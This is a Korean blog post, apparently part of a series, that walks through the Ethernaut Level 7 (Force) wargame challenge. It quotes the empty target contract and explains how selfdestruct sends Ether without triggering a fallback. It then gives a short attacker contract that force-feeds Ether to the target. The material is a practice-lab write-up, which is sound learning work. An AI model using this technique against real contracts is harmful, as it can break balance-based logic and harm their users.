Pwnstar

Ethernaut Level 7(Force) 본문

Wargame/Ethernaut

Ethernaut Level 7(Force)

포너블처돌이 2023. 4. 3. 16:19

이번엔 contract의 ownership을 차지하는 것이 목표가 아니고, contract의 balance를 0보다 크게 만들면 된다고 한다.

도움이 될 만한걸로는

  • Fallback 메서드
  • 다른 컨트랙트로 공격하기
  • Beyond the console section을 보기

뭐 이렇게 있는데, beyond the console 부분은 이전에 coin flip 문제 풀 때에도 나왔던 부분인데, remix IDE 등을 사용하여 컨트랙트와 상호작용하는 방법이다.

문제 코드를 보자

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

이게 코드를 안보여주기 위해서 이렇게 숨긴건지, 아니면 실제로 코드가 존재하지 않는 컨트랙트인지 알 수가 없지만 일단 이 컨트랙트에 이더를 넣어야하고, 문제의 이름을 보면 뭔가 강제로? 보내야하는 듯 하다.

그래서 구글에서 컨트랙트에 이더를 강제로 보내는 방법을 검색해 봤는데, selfdestruct를 이용한 방법이 있다.

Two Ways of Forcing Ether into a Contract
The last article on Dissecting an Ethereum Honey Pot was successful so I’ve taken time to compile all known Solidity exploits and hacks…
https://medium.com/@alexsherbuck/two-ways-to-force-ether-into-a-contract-1543c1311c56

selfdestruct의 원래 기능은 코드를 블록체인에서 지우는 것이다. 이때, 주소에 저장된 남은 Ether가 있다면 지정된 타겟으로 옮겨지고 스토리지와 코드는 해당 상태에서 지워진다.

또한 해당 컨트랙트의 function에 payable이 없으면 fallback 함수를 통해 사고로 이더가 들어오는 것을 방지하게 되는데, selfdestruct로 컨트랙트의 코드를 지우게 되면 fallback함수가 실행되지 않고 남은 ether가 지정된 타겟 어드레스로 전송된다.

그래서 이 함수를 이용해 Remix로 코드를 짜고, Force 컨트랙트에 이더를 전송할 수 있는 지 해 봤는데, 다행히 바로 성공했다.

코드는 다음과 같이 작성했다.

pragma solidity ^0.8.0;

interface IForce {
}

contract ForceSend {

    IForce public force;

    constructor(address _level) payable {
        force = IForce(_level);
    }

    function Fsend() public payable {
        address payable addr = payable(address(force));
        selfdestruct(addr);
    }
}

이렇게 하고 Wei 조금(아까우니까 조금만) 올려서 Fsend함수를 호출시키면

컨트랙트의 balance가 생긴다.

다음 문제 가즈아.


Uploaded by N2T

'Wargame > Ethernaut' 카테고리의 다른 글

Ethernaut Level 9(King)  (0) 2023.04.03
Ethernaut Level 8(Vault)  (0) 2023.04.03
Ethernaut Level 6(Delegation)  (0) 2023.04.03
Ethernaut Level 5(Token)  (1) 2023.03.12
Ethernaut Level 4(Telephone)  (0) 2023.03.12
Comments